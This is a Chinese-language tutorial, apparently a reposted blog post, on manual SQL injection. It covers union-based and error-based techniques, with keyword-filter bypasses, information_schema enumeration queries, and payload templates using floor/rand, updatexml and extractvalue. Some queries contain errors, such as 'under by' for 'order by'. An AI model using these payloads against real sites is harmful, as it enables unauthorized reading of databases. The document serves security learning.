SQL注入——联合查询和报错注入

1.别人可能用一个括号将要查询的内容阔在一起了  可以使用)将其闭合
2.还有人可能过滤掉了关键字可以使用如下方法
anandd   selecselectt
如果URL中把=号过滤掉了
可以使用like进行模糊查询

报错注入中
sql里 0x3a表示一个冒号
具体用法
and (select 1 from (select count(*),concat((select count(schema_name) from information_schema.schemata) ,0x3a,concat(floor(rand(0)*2),user()))x from information_schema.tables group by x)a)

一、联合查询
首先放一张联合查询的思维导图

在使用联合查询之前,我们应该先搞明白在什么情况下,我们选择使用联合查询注入
前提条件:页面上有显示位
显示位的解释:在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位。
举个例子:
红线标出的就是从数据库中输出的数据

知道了在什么情况下能够使用联合注入之后我们来看一看联合查询注入是如何实现的
1.判断有无注入点
我们可以在url后面加入  and 1=1 --+ 执行
然后再写上 and 1=2 --+ 执行,查看页面是否回显不同(回显不同说明这是一个整型注入),如果回显相同则可能存在字符注入(执行步骤2)
2. 在参数后面加上一个 ' 看页面回显是否相同
单引号判断‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
3.\为转义符
4.-1/+1回显上一个或下一个页面(用于整型判断)

判断是整形注入还是字符型注入
数字型注入与字符型注入的最大去区别在于
数字型不需要闭合,而字符型需要引号闭合
select * from table where id = 1   数字型
select * from table where username = ‘admin’   字符型
+
知道了是整型还是字符型注入之后
我们使用under by 函数来判断该表里有几列
具体用法:  
under by 1
under by 2
under by n
如果页面显示正常,说明列数大于等于n
如果页面显示不正常,说明列数小于n

union的作用是将两个或多个select语句查询语句结果合并起来
1.UNION必须由两条或两条以上的SELECT语句组成,语句之间用关键字UNION分隔
2. UNION中的每个查询的列数必须相同
3. UNION会从查询结果集中自动去除了重复行

联合查询的利用前提

页面有显示位
在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位

联合注入的手注流程


使用group_concat()  函数可以让查询获得的数据组成一行显示
例子:
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

count()函数用于统计个数(类似于表的个数,数据库的个数等等)
例子:
select count(SCHEMA_NAME) from information_schema.SCHEMATA

concat()函数可以将多个字符串拼接在一起
concat('^_^','chao',^_^')
输出结果: ^_^chao^_^

获取数据库中的所有数据库名,表名,列名,字段名常用指令
select schema_name from information_schema.schemata   (获取数据库名)
select table_name from information_schema.tables             (获取表名)
select column_name from information_schemata.columns  (获取所有列名)

select 列名 from 数据库名.表名



报错注入

报错注入应用的前提条件
页面上没有显示位,但是有SQL语句执行错误信息输出

报错注入思维导图:
SQL报错实例

一般情况下SQL的报错信息是不会显示在页面中的
只有在php.ini 进行如下配置
display_errors=On               (开启PHP错误回显)
SQL报错信息才会被显示在页面上

常用的报错语句模板:
1. 通过floor报错
and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符

2. 通过updatexml报错
and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

3. 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。

报错注入思维导图


猜你喜欢

转载自blog.csdn.net/sdb5858874/article/details/80656123